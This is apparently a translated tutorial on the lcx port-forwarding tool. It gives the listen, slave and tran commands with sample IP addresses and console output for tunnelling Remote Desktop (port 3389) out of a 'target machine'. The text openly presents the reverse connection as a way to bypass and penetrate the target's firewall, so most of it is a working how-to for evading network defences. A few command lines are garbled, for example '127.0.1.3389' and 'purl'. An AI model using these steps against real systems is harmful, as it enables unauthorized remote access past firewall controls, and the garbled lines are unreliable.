How to use lcx
Native IP:192.168.125.11 target machine IP:192.168.125.101
Local operation: lcx-listen 3333 2222
Target machine operation: lcx-slave 192.168.125.11 3333 192.168.125.101 3389
Or lcx-slave 192.168.125.11 3333 127.0.1.3389
Connect the remote Desktop to port 2222 of 127.0.0.1 (the machine itself) on this machine, and you can connect to port 3389 of the target machine.
Connect port 2222 of the local machine (192.168.125.11) from the third machine, or port 3389 of the target machine.
Looking at the local machine and the target machine, you can see that the target machine is actively connected to port 3333 of the local machine, thus bypassing the firewall on the target machine.
Even if the firewall on the target machine blocks port 3389, because the target machine is actively connected to the local machine, it penetrates the firewall.
The lcx connection information is as follows:
Target on-board information:
C:\ > lcx-slave 192.168.125.11 3333 192.168.125.101 3389
= = HUC Packet Transmit Tool V1.00 = =
= Code by lion & bmbll, Welcome to [url] http://www.cnhonker.com[/url]==========
[+] Make a Connection to 192.168.125.11 purl 3333....
The information on this machine:
C:\ > lcx-listen 3333 2222
= = HUC Packet Transmit Tool V1.00 = =
= Code by lion & bmbll, Welcome to [url] http://www.cnhonker.com[/url] =
[+] Listening port 3333.
[+] Listen OK!
[+] Listening port 2222.
[+] Listen OK!
[+] Waiting for Client on port:3333.
[+] Accept a Client on port 3333 from 192.168.125.101.
[+] Waiting another Client on port:2222....
*
The usage of-tran parameter
Run on the target machine: lcx-tran 3333 127.0.0.1 3389
Run the remote desktop on the host, connect to port 3333 of the target, and connect to port 3389 of the host.
Running on the target machine: lcx-tran 3333 192.168.125.102 3389 of which 192.168.125.102 is the third machine.
Run the remote desktop on the host, connect to port 3333 of the target machine, and connect to port 3389 of the third machine.